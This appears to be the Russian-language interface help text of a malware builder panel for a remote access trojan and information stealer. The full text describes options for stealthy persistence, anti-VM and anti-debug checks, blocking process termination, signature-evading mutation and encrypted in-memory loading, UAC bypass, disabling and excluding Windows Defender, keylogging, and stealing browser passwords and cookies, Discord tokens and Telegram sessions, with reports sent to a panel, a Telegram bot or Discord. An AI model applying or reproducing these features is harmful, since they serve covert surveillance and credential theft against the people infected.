Для папки по умолчанию и записи в автозагрузке. При маскировке подменяется на имя донора.

Метка сборки. Все клиенты, установившие этот билд, будут с этим тегом в панели — удобно группировать.

Pastebin, gist или свой хостинг: по одному адресу в строке. Агент тянет список при запуске, поэтому адреса можно менять без пересборки.

Скачать список и показать, какие адреса увидит агент.

Строка для резолвера: адрес сервера шифруется ключом панели. Каждый раз новая, но сборка читает её в тот же адрес.

Супервизор: перезапускает агента при падении. Работает только при установке на диск.

Пусто — как у агента с суффиксом Host. Своё имя помогает не светиться в списке процессов.

Дополнительная задача планировщика поднимает приложение, даже если его убили и watchdog тоже. Работает только при установке на диск.

Служба под LocalSystem с максимальными правами: поднимается до входа в систему и держит подключение. Ставится только с правами администратора.

Агент выйдет на виртуальной машине (прошивка, модель диска, гостевые дополнения, CPUID) и под отладчиком. Плюс прячет потоки от отладчика, снимает SeDebugPrivilege и очищает командную строку.

DENY на завершение, чтение и запись памяти процесса: taskkill и диспетчер задач получают отказ. Снимается командой из панели.

Резервные копии агента в скрытых местах: если файл удалили — следующий запуск восстановит его из копии.

Меняются неисполняемые байты файла: подпись файла каждый раз новая, код тот же. Длина не меняется, поэтому UPX и самовосстановление не страдают.

На диск ляжет маленький лоадер: тело агента зашифровано AES-256-GCM и расшифровывается в памяти при старте. Файл на 3 МБ больше не выдаёт себя байтами агента.

Обычный запрос UAC при установке. Выключено — запроса не будет вообще. Нужно для HKLM, планировщика и системного атрибута.

Работает независимо от галочки выше. Сработал — обычный запрос UAC не появится. Не выйдет — останется только то, что разрешено выше.

После установки UAC выключается в реестре: запросов больше не будет (вступает после перезагрузки). Требует прав администратора.

Добавляет папку и процессы в исключения Defender. Работает при включённом Tamper Protection и не оставляет записей об угрозах. Требует прав администратора.

Политики Defender и служба WinDefend. Без Tamper Protection не сработает, а каждая попытка пишется в журнал как угроза — антивирусы это видят. Требует прав администратора.

Собирает нажатия: окно, приложение, поле ввода, раскладку и зажатые комбинации. В панели — история ввода по приложениям с поиском и фильтрами.

Агент по запросу читает базы Chrome, Edge, Brave, Vivaldi, Opera и Firefox: адреса, заголовки, время и число визитов.

Агент сам собирает данные и присылает их в панель. Период 0 — один раз после установки.

Как часто повторять сбор. 0 — только первый отчёт.

Отдельный суточный отчёт по нажатиям, даже если общий период больше.

Cookies, история и сохранённые пароли из профилей Chrome, Edge, Brave, Opera, Firefox.

Снимки всех мониторов в отчёте.

Токены из локальных данных Discord: расшифровывает dQw4w9WgXcQ-обёртку и читает открытый текст. Все клиенты — stable, PTB, Canary, форки.

Сессии Telegram Desktop и форков (AyuGram, 64Gram, Kotatogram), включая портативные сборки. Медиакэш не копируется.

Готовые токен, чат и прокси из настроек панели. «Другой» — ввести вручную.

Куда бот присылает отчёт. Пусто — только в панель.

ID чата или канала получателя.

Необязательно: дублировать отчёт в канал Discord.

HTTP-прокси вида http://host:port. Нужен, если Telegram или Discord не открываются напрямую.

Выключено — файл живёт только рантаймом: распаковывается в temp, подключается к панели и ничего не прописывает в систему. Папка установки, автозагрузка, служба, respawn, watchdog и имена в системе тогда не используются.

Включено — при первом запуске сборка не ставится, а работает рантаймом и ждёт команды. Установить можно позже из карточки клиента кнопкой «Установить на диск».

Главный выключатель. Снят — инсталлер ничего не прописывает в систему.

Без прав админа. Обычный запуск при входе в систему.

Все пользователи машины. Требует прав администратора.

Одноразовая запись, Windows удаляет её после запуска. Без прав админа.

То же для всех пользователей. Требует админа.

Задача при входе с максимальными правами. Требует админа.

Та же задача, но от текущего пользователя — работает без UAC.

Ярлык в Startup текущего пользователя. Без прав админа.

Скрытая ветка автозапуска в HKCU. Её редко чистят. Без прав админа.

Windows сам запускает компонент при входе. Требует админа.

Инсталлер сам подбирает неприметные имена для ключа реестра, задачи планировщика и службы — по образцу донора. Поля ниже становятся неактивными.

Значение в HKCU/HKLM Run, ярлык в автозагрузке. Пусто — из имени приложения.

Планировщик, respawn-задача и Windows-служба. Пусто — из имени приложения.

Свой значок. Ресурс подменяется прямо в exe — в проводнике и диспетчере задач будет он.

Выберите любой exe — панель вытащит из него иконку и вставит в сборку. Работает и без файла .ico.

Заготовка инсталлера упаковывается UPX до склейки, поэтому конфигурация и файлы внутри остаются целыми: файл меньше, запуск и установка те же. Агент не пакуется — ему нужна целая секция для самовосстановления и мутации.

Добить файл до типичного размера приложения: «добавить» — прибавить к готовому, «задать» — получить ровно столько. 0 — не трогать.